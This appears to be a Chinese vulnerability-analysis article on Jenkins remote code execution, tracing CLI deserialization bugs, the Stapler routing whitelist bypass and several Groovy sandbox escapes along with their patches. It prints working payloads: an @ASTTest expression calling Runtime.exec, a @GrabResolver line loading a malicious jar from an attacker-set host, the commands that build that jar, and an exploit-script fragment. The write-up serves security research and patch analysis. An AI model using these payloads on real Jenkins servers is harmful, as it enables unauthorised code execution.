Jenkins RCE漏洞分析汇总

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。

No.2

前言

之前针对Jenkins没注意看过，看到廖师傅kcon会议上讲的Java沙箱逃逸就涉及到了Jenkins，包括今年开年时候orange发的Jenkins的组合拳，拖拖拉拉到了年底还没看，所以准备开始看。

这里根据Jenkins的漏洞触发点做了一个归类，一种是通过cli的方式触发，一种是通过我们常见的http方式触发。

No.3

环境搭建

在catalina.sh添加，或者catalina.bat内容不动用如下命令开启，默认是开启8000端口

用如下命令开启

catalina.bat jpda start（Windows）

catalina.sh jpda start（linux）

No.4

漏洞分析

1.Cli方式触发

• CVE-2015-8103

最早开始公开Java 反序列化的时候，何使用 Apache Commons Collections 这个常用库来构造 POP 链（类ROP链），这个在Jenkins上的例子就是这个编号，但是网上对于这个调用链的过程都没有进行分析，所以这里分析一下。

先看看之前那些exp的脚本，这里可以看到漏洞触发已经是和Jenkins的cli有关系，且这里走tcp socket通信的。

response = requests.get(jenkins_web_url, headers=i_headers)

cli_port = int(response.headers['X-Jenkins-CLI-Port'])

print('[+] Found CLI listener port: "%s"' % cli_port)

sock_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

host = urlparse.urlparse(jenkins_web_url).netloc

try:

host, port = host.split(':')

except:

host = host

cli_listener = (socket.gethostbyname(host), cli_port)

print('[+] Connecting CLI listener %s:%s' % cli_listener)

sock_fd.connect(cli_listener)

跟进一下看看。

漏洞分析：

Jenkins cli的入口在这hudson.TcpSlaveAgentListener#ConnectionHandler，这个run构造方法，我们看到调用了p.handle方法。

handle也是一个抽象方法，这里根据前面的Protocol选择相关协议，这里的协议有两个一个是Cli，另一个是JnlpSlaveAgent。我们关注的其实是Cli这个东西。

跟进hudson.cli.CliProtocol#handle ，这里实例化CliProtocol.Handler来处理，并且调用其中的run构造方法

public void handle(Socket socket) throws IOException, InterruptedException {

(new CliProtocol.Handler(this.nio.getHub(), socket)).run();

}

继续hudson.cli.CliProtocol$Handler.run，这里调用runcli针对socket连接进行处理。

继续跟进hudson.cli.CliProtocol$Handler.runCli，这的关键是下图标红色的地方。

这里调用hudson.remoting.ChannelBuilder#build来处理传入的buffer缓冲区的数据，跟进这个看看。

public Channel build(InputStream is, OutputStream os) throws IOException {

return new Channel(this, this.negotiate(is, os));

}

这里主要是调用this.negotiate来处理is和os，而is和os分别使我们缓冲区的输入和输出，跟进一下hudson.remoting.ChannelBuilder.negotiate

negotiate会检查所有发往Jenkins CLI的命令中都包含某种格式的前导码（preamble），前导码格式通常为：<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=, 该前导码包含一个经过base64编码的序列化对象，我们抓个包看到这个前导码，也看到发序列化头部base64编码之后的关键字rO0A 。

然后继续循环往下走，调用Capability.read处理buffer中的内容。

跟进hudson.remoting.Capability#read，标准的反序列化的输入点了，之后就是调用Commons Collections执行反序列化下一步的命令执行操作了。

修复方式：

hudson.remoting.ClassFilter#check会检查是否在黑名单中。

目前默认的黑名单如下所示

private static final String[] DEFAULT_PATTERNS = new String[]{ "^bsh[.].*", "^com[.]google[.]inject[.].*", "^com[.]mchange[.]v2[.]c3p0[.].*", "^com[.]sun[.]jndi[.].*", "^com[.]sun[.]corba[.].*", "^com[.]sun[.]javafx[.].*", "^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*", "^java[.]awt[.].*", "^java[.]rmi[.].*", "^javax[.]management[.].*", "^javax[.]naming[.].*", "^javax[.]script[.].*", "^javax[.]swing[.].*", "^org[.]apache[.]commons[.]beanutils[.].*", "^org[.]apache[.]commons[.]collections[.]functors[.].*", "^org[.]apache[.]myfaces[.].*", "^org[.]apache[.]wicket[.].*", ".*org[.]apache[.]xalan.*", "^org[.]codehaus[.]groovy[.]runtime[.].*", "^org[.]hibernate[.].*", "^org[.]python[.].*", "^org[.]springframework[.](?!(\\p{Alnum}+[.])*\\p{Alnum}*Exception$).*", "^sun[.]rmi[.].*", "^javax[.]imageio[.].*", "^java[.]util[.]ServiceLoader$", "^java[.]net[.]URLClassLoader$"};

• CVE-2017-1000353

漏洞编号： CVE-2017-1000353

漏洞简述： Jenkins 未授权远程代码执行漏洞, 允许攻击者将序列化的Java SignedObject对象传输给Jenkins CLI处理，反序列化ObjectInputStream作为Command对象，这将绕过基于黑名单的保护机制, 导致代码执行。

影响版本： Jenkins-Ci Jenkins LTS < = 2.46.1

所以从上面这段引用可以看到，漏洞触发还是和cli有关系，我们来详细看看，首先入口在hudson.cli.CLIAction中，代码根据HTTP头部中的side的值来区分是download还是upload操作，然后根据http头部中session里面的uuid的值来区分不同的会话通道。

先跟进看一下download操作，位置在hudson.model.FullDuplexHttpChannel#download，下图中已经将重要部分代码标红了，如果没有接收到upload请求，那么这时候download操作就会阻塞等待，直到upload操作过来，然后建立新的channel对象，来处理upload接收到的请求和响应。

所以这里就要跟进Channel，前面我们说过针对cli方式触发的时候，会调用negotiate来检查格式是否正确，所以这里进入构造方法，实际上是下图中的代码。

Channel(ChannelBuilder settings, InputStream is, OutputStream os) throws IOException {

this(settings, settings.negotiate(is, os));

}

跟进hudson.remoting.ChannelBuilder#negotiate，这里会调用makeTransport方法。

跟进makeTransport方法，位置在hudson.remoting.ChannelBuilder#makeTransport，这个方法会根据cap是否支持Chunking来返回不同的对象，分别是ChunkedCommandTransport和ClassicCommandTransport。

然后又进去hudson.remoting.Channel中的下图代码进行操作，这里红框圈出部分关键代码。这里会调用transport.setup处理对象CommandReceiver。

而setup也是一个抽象类，会调用 hudson.remoting.SynchronousCommandTransport#setup这个回启东一个ReaderThread线程来处理传入的CommandReceiver对象。

public void setup(Channel channel, CommandReceiver receiver) {

this.channel = channel;

(new SynchronousCommandTransport.ReaderThread(receiver)).start();

}

跟进hudson.remoting.SynchronousCommandTransport#ReaderThread，这个方法会调用SynchronousCommandTransport.this.read

而这里的read是个抽象类，目前这个流程中，他的实现方法在hudson.remoting.ClassicCommandTransport中。

public final Command read() throws IOException, ClassNotFoundException {

try {

Command cmd = Command.readFrom(this.channel, this.ois);

if (this.rawIn != null) {

this.rawIn.clear();

}

return cmd;

} catch (RuntimeException var2) {

throw this.diagnoseStreamCorruption(var2);

} catch (StreamCorruptedException var3) {

throw this.diagnoseStreamCorruption(var3);

}

}

那么再跟进 hudson.remoting.Command#readFrom就找到反序列化的触发点了。

修复方式：

我们可以看到本次修复，实际上引入了CVE-2015-8103的黑名单，并且将java.security.SignedObject本次的反序列化绕过方法加入这个黑名单中。

2.HTTP方式触发

• CVE-2018-1000861

动态路由分析：

首先Jenkins会将所有请求交给`org.kohsuke.stapler.Stapler`来进行处理。

<servlet>

<servlet-name>Stapler</servlet-name>

<servlet-class>org.kohsuke.stapler.Stapler</servlet-class>

<init-param>

<param-name>default-encodings</param-name>

<param-value>text/html=UTF-8</param-value>

</init-param>

<init-param>

<param-name>diagnosticThreadName</param-name>

<param-value>false</param-value>

</init-param>

<async-supported>true</async-supported>

</servlet>

跟进`org.kohsuke.stapler.Stapler`这个类中，简单缩减一下代码，如下所示：

protected @Override void service(HttpServletRequest req, HttpServletResponse rsp) throws ServletException, IOException {

Thread t = Thread.currentThread();

final String oldName = t.getName();

...

if (servletPath.startsWith(BoundObjectTable.PREFIX)) {

// serving exported objects

invoke( req, rsp, webApp.boundObjectTable, servletPath.substring(BoundObjectTable.PREFIX.length()));

return;

}

...

Object root = webApp.getApp();

if(root==null)

throw new ServletException("there's no \"app\" attribute in the application context.");

// consider reusing this ArrayList.

invoke( req, rsp, root, servletPath);

} finally {

t.setName(oldName);

}

}

其中PREFIX的值是`/$stapler/bound/`。

public static final String PREFIX = "/$stapler/bound/";

也就是说在这里Jenkins会根据用户传入的URL不同，来调用不同的webapp，这里的invoke方法中有4个参数，它们分别是：

?req：请求对象

?rsp：响应对象

?root：webapp节点

?servletPath：经过路由解析后的对象

如果url以`/$stapler/bound/`开开头，那么它对应的root节点对象是：`webApp.boundObjectTable(org.kohsuke.stapler.bind.BoundObjectTable)`，而这个root对象实际上如果不是动态调试静态看代码我是看不出来，所以我在这里下个断点，我可以看到这个root节点对象对应的类是 hudson.model.Hudson，而这个类正是继承了jenkins.model.Jenkins。

继续向下跟进，跟进我们刚刚invoke方法，这个方法位置在org.kohsuke.stapler.Stapler#invoke。这个方法又调用了invoke来处理。

继续跟进，我们可以看到这里调用了 org.kohsuke.stapler.Stapler#tryInvoke来进行处理。

详细跟进一下org.kohsuke.stapler.Stapler#tryInvoke这个方法，我截取部分代码如下：

boolean tryInvoke(RequestImpl req, ResponseImpl rsp, Object node ) throws IOException, ServletException {

if(traceable())

traceEval(req,rsp,node);

if(node instanceof StaplerProxy) {

...

}

if (node instanceof StaplerOverridable) {

...

}

if(node instanceof StaplerFallback) {

...

}

这里有三个根据不同的node节点进行相应操作`instanceof`，从代码中来看顺序应该是从上到下分别是：

- StaplerProxy

- StaplerOverridable

- StaplerFallback

而Jenkins这部分其实在文档中也写了：

所以说文档中的描述和代码中看到的是一致的，所以tryInvoke这个方法实际上做哦那个就是完成路由的分发，路由的绑定操作等。我们可以看看当我们传入`/aa/bb/cc`的时候，路由是如何选择。

当我们传入`/aa/bb/cc`的时候，对应的root根对象是`hudson.model.Hudson`，所以这里向根据这个node获取一个metaClass对象，然后轮询 MetaClass中的metaClass.dispatchers。

但是这里具体如何操作还是有点懵逼，这里还是慢慢的跟一下，用@orange文章的白名单路由来做个文章，后面也会详细分析，路由为`/securityRealm/user/test/` ，跟进`org.kohsuke.stapler.WebApp#getMetaClass`。

public MetaClass getMetaClass(Object o) {

return getMetaClass(getKlass(o));

}

在这里面又调用了getKlass和getMetaClass，先看看getKlass，这里最后的return操作实例化相关类对象，这里对应的自然是我们前面路由分析的时候，如果url不是以`/$stapler/bound/`开头，对应的对象自然是hudson.model.Hudson。

public Klass<?> getKlass(Object o) {

...

return Klass.java(o.getClass());

}

我们再看看getMetaClass，在getMetaClass中首先获取传入的类对象，然后实例化MetaClass针对传入的对象进行处理。

跟进MetaClass，来详细看看，我们可以看到这就是通过我们刚刚实例化的Klass类，然后根据这个类获取相应信息，最后使用buildDispatchers

/*package*/ MetaClass(WebApp webApp, Klass<?> klass) {

this.clazz = klass.toJavaClass();

this.klass = klass;

this.webApp = webApp;

this.baseClass = webApp.getMetaClass(klass.getSuperClass());

this.classLoader = MetaClassLoader.get(clazz.getClassLoader());

buildDispatchers();

}

跟进 org.kohsuke.stapler.MetaClass.buildDispatchers，其实从注释里面就知道这个方法干啥的了。

简单翻译一下这个是处理路由调度的核心，他通过反射使用相关的类，并且确认由谁处理这个URL，这部分代码很长，而且也能看得出来Jenkins给了用户足够多的自由度，但有时候其实就是给你的自由过了火导致的问题，从代中把这些全部梳理了出来：

<obj>.do<token>(...) and other WebMethods：do(...)或者@WebMethods标注

<obj>.doIndex(...)：doIndex(...)

<obj>js<token>:js(...)

method with @JavaScriptMethod:@JavaScriptMethod标注

NODE.TOKEN

NODE.getTOKEN():get()

NODE.getTOKEN(StaplerRequest)：get(StaplerRequest)

<obj>.get<Token>(String):get(String)

<obj>.get<Token>(int):get(int)

<obj>.get<Token>(long):get(long)

<obj>.getDynamic(<token>,...):ggetDynamic(...)

<obj>.doDynamic(...):doDynamic(...)

随便找个例子，在处理node时候会先实例化 NameBasedDispatcher，然后把这个加到 dispatchers中，然后使用doDispatch处理传过来的请求，最后通过invoke反射的方式调用相关类。

所以我们回忆一下`/securityRealm/user/test/`的解析过程，在org.kohsuke.stapler.Stapler中这里的d.dispatch会处理传入的请求。

try {

for( Dispatcher d : metaClass.dispatchers ) {

if(d.dispatch(req,rsp,node)) {

这里的dispathch是一个抽象类，他的实现方法有下图中那么多，我们看到 NameBasedDispatcher是不是有点眼熟。

跟进 org.kohsuke.stapler.NameBasedDispatcher#dispathch这里有个doDispatch，实际上这个也是个抽象类，主要实现还是在MetaClass中的buildDispatchers，前面我们也了解过了buildDispatchers这个方法会根据node节点的不同选择不同的方法去实现。

这里简单画个代码流程图吧。

所以可以看到最后在 org.kohsuke.stapler.MetaClass已经成功解析了我们传入的第一个node节点securityRealm

紧接着解析第二个node节点时候，首先跟进这个getStapler返回的是当前stapler对象。

public Stapler getStapler() {

return stapler;

}

这里的ff是一个`org.kohsuke.stapler.Function`对象，它保存了当前根节点中方法的各种信息。

ff.invoke处理之后会返回`Hudson.security.HudsonPrivateSecurityRealm`，然后又会把这个东西带入到tryInvoke中进行第二次解析，就是这样循环下去。

现在再回头过看，我们之前用到一个payload：`/securityRealm/user/test/`，这个payload中的securityRealm是Jenkins的一个路由白名单，白名单是个什么情况呢，我们来看看。

首先前面提到过tryInvoke的时候，会进行三个优先级不同操作：

- StaplerProxy

- StaplerOverridable

- StaplerFallback

根据优先级，首先进行的是StaplerProxy，我们详细看看这个，这个做了一个try的操作，跟进一下getTarget()方法。

而getTarget()的实现主要在这几个地方出现过。

在Jenkins中，入口是`jenkins.model.Jenkins`，所以跟进看看jenkins.model.Jenkins#getTarget

首先checkPermission会进行权限进行检查，检查是否有读的权限，如果没有会抛出异常，而在异常里有一个`isSubjectToMandatoryReadPermissionCheck`对路径进行二次检测，如果这个检测没通过就退出，否则正常返回。继续跟进 jenkins.model.Jenkins#isSubjectToMandatoryReadPermissionCheck，这里有个常量的白名单判断。

看看这个白名单的值，所以很明显了，如果请求的路径在这个白名单里面，那么就可以绕过权限校验。

ALWAYS_READABLE_PATHS = ImmutableSet.of("/login", "/logout", "/accessDenied", "/adjuncts/", "/error", "/oops", new String[]{"/signup", "/tcpSlaveAgentListener", "/federatedLoginService/", "/securityRealm", "/instance-identity"});

跨物件操作导致白名单绕过：

> 1.在 Java 中, 所有的物件皆继承 java.lang.Object这个类別, 因此所有在 Java 中的物件皆存在著 `getClass()` 這個方法。

> 2.恰巧这个方法又符合动态路由调用`get<token>(...)`的命名規則, 因此 `getClass()` 可在 Jenkins 调用链中被动能呼叫。

> 3.入口检查的白名单绕过

会从上倒下依次执行

jenkins.model.Jenkins.getAdjuncts("whatever")

.getClass()

.getClassLoader()

.getResource("index.jsp")

.getContent()

从这个例子中我们看到如果是`xx.com/adjuncts/aa/bb/cc`，那么jenkins就会去寻找getAa、getBb等相关get方法，也就是说在这里我们可以任意操作GETTER方法。

回到最早的用来测试路由`/securityRealm/user/test`，我们也很清楚的看到这里去寻找`jenkins.model.Jenkins.getsecurityRealm()`。

利用链条：

再回到orange给的这个路由`/securityRealm/user/test`，跟进去，这个我们之前聊过，根据这个路由解析过程应该是分别是getsecurityRealm和getUser，当解析getUser的时候来到的是hudson.security.HudsonPrivateSecurityRealm.getUser中。

跟进hudson.security.HudsonPrivateSecurityRealm.getUser，这里实际上和我们的url一致了，上图中的url实际上是user/test，这里根据传入的下一节点名当做 id，然后生成一个 User 出来，所以这里将test传入getUser构造方法中，并调用hudson.model.User进行处理，最后生成一个User出来，但是测试发现如果没有用户一样能够生成，具体原因没有去深究。

这里看看User的继承关系，这里有个

`hudson.model.DescriptorByNameOwner#getDescriptorByName`

实际上是User中写了一个getDescriptorByName方法，是来自`hudson.model.DescriptorByNameOwner#getDescriptorByName`这个接口。

public Descriptor getDescriptorByName(String className) {

return Jenkins.getInstance().getDescriptorByName(className);

}

而这个方法中的实际上就是调用了Jenkins.getInstance().getDescriptorByName，跟进jenkins.model.Jenkins#getDescriptorByName，调用了jenkins.model.Jenkins#getDescriptor

public Descriptor getDescriptorByName(String id) {

return this.getDescriptor(id);

}

跟进jenkins.model.Jenkins#getDescriptor，这里根据id(string)来获取所有继承了Descriptor的子类

也就是说实际上我们通过构造`/securityRealm/user/DescriptorByName/xxx`就可以使用了继承了Descriptor这个的子类。

利用链：

Jenkins ->HudsonPrivateSecurityRealm->User->DescriptorByNameOwner->Jenkins->Descriptor

我们从登陆限制的情况下，利用这个方法可以绕过限制，从而达到未授权访问某些功能的目的。

沙盒绕过：

SECURITY-1266:

从官方通告来看，更新了一个groovy沙盒绕过的问题。

%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec(%22open+%2fApplications%2fCalculator.app%22)%7d)%0a

class+Person%7b%7d

@GrabResolver(name='Exp', root='http://127.0.0.1:9999/')%0a

@Grab(group='demo_server.exp', module='poc', version='2')%0a

import Exp;

分别开看看，可恶意看到的触发的类都是

`org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript`，跟进来看。

DescriptorImpl方法继承了Descriptor，且在doCheckScript里面，实例化了GroovyShell对象，并且输出，根据前面的分析doCheckScript可控。

@ASTTest：执行断言的时候执行代码

这个和PHP的assert有点像。

Grab：引入外部恶意类

`Grape`是groovy内置的依赖管理引擎，而且在官方文档中，我们发现它可以将root地址自行指定，从而引入恶意类。

javac Exp.java

mkdir -p META-INF/services/

echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners

jar cvf poc-2.jar Exp.class META-INF

mkdir -p ./demo_server/exp/poc/2/

mv poc-2.jar demo_server/exp/poc/2/

补丁：

private static final List<Class<? extends Annotation>> BLOCKED_TRANSFORMS = ImmutableList.of(ASTTest.class, Grab.class);

SECURITY-1292:

官方测试案例：

补丁：

SECURITY-1318：

@Grapes([@Grab(group='foo', module='bar', version='1.0')])\ndef foo\n

@GrabConfig(autoDownload=false)\ndef foo\n

@GrabExclude(group='org.mortbay.jetty', module='jetty-util')\ndef fo

SECURITY-1319：

@GrabResolver(name='restlet.org', root='http://maven.restlet.org')\ndef foo\n

SECURITY-1320：

"import groovy.transform.ASTTest as lolwut\n" +

"import jenkins.model.Jenkins\n" +

"import hudson.model.FreeStyleProject\n" +

"@lolwut(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, \"should-not-exist\") })\n" +

"int x\n" +

"echo 'hello'\n", false

"import groovy.transform.*\n" +

"import jenkins.model.Jenkins\n" +

"import hudson.model.FreeStyleProject\n" +

"@groovy.transform.ASTTest(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, \"should-not-exist\") })\n" +

"@Field int x\n" +

"echo 'hello'\n", false

SECURITY-1321：

import groovy.transform.*\n" +

"import jenkins.model.Jenkins\n" +

"import hudson.model.FreeStyleProject\n" +

"@AnnotationCollector([ASTTest]) @interface Lol {}\n" +

"@Lol(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, \"should-not-exist\") })\n" +

"@Field int x\n" +

"echo 'hello'\n", false

补丁：

还是1266修复时候那个方法，增强了黑名单。

BLOCKED_TRANSFORMS =

ImmutableList.of(ASTTest.class.getCanonicalName(),

Grab.class.getCanonicalName(),

GrabConfig.class.getCanonicalName(),

GrabExclude.class.getCanonicalName(),

GrabResolver.class.getCanonicalName(),

Grapes.class.getCanonicalName(),

AnnotationCollector.class.getCanonicalName());

SECURITY-1353:

assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).getCountry()");

assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).country");

assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).getAvailableLocales()");

assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).availableLocales");

assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "(double) Math.max(2, 3)");

assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "Math.max(2, 3) as double");

assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "double x = Math.max(2, 3); x");

assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter asType java.lang.Object java.lang.Class",

"def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.asType(['/tmp'], File); echo(/$f/)");

assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter castToType java.lang.Object java.lang.Class",

"def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.castToType(['/tmp'], File); echo(/$f/)");

assertRejected(new GenericWhitelist(), "new java.io.File java.lang.String",

"def f = org.kohsuke.groovy.sandbox.impl.Checker.checkedCast(File, ['/tmp'], true, false, false); echo(/$f/)");

补丁：

在执行的时候只执行白名单，并且加强白名单和黑名单。

2.总结

可以看到这种RCE的漏洞，Jenkins从目前修复来看，基本上都是白名单、黑名单或者黑名单+白名单的方式，来解决问题。

END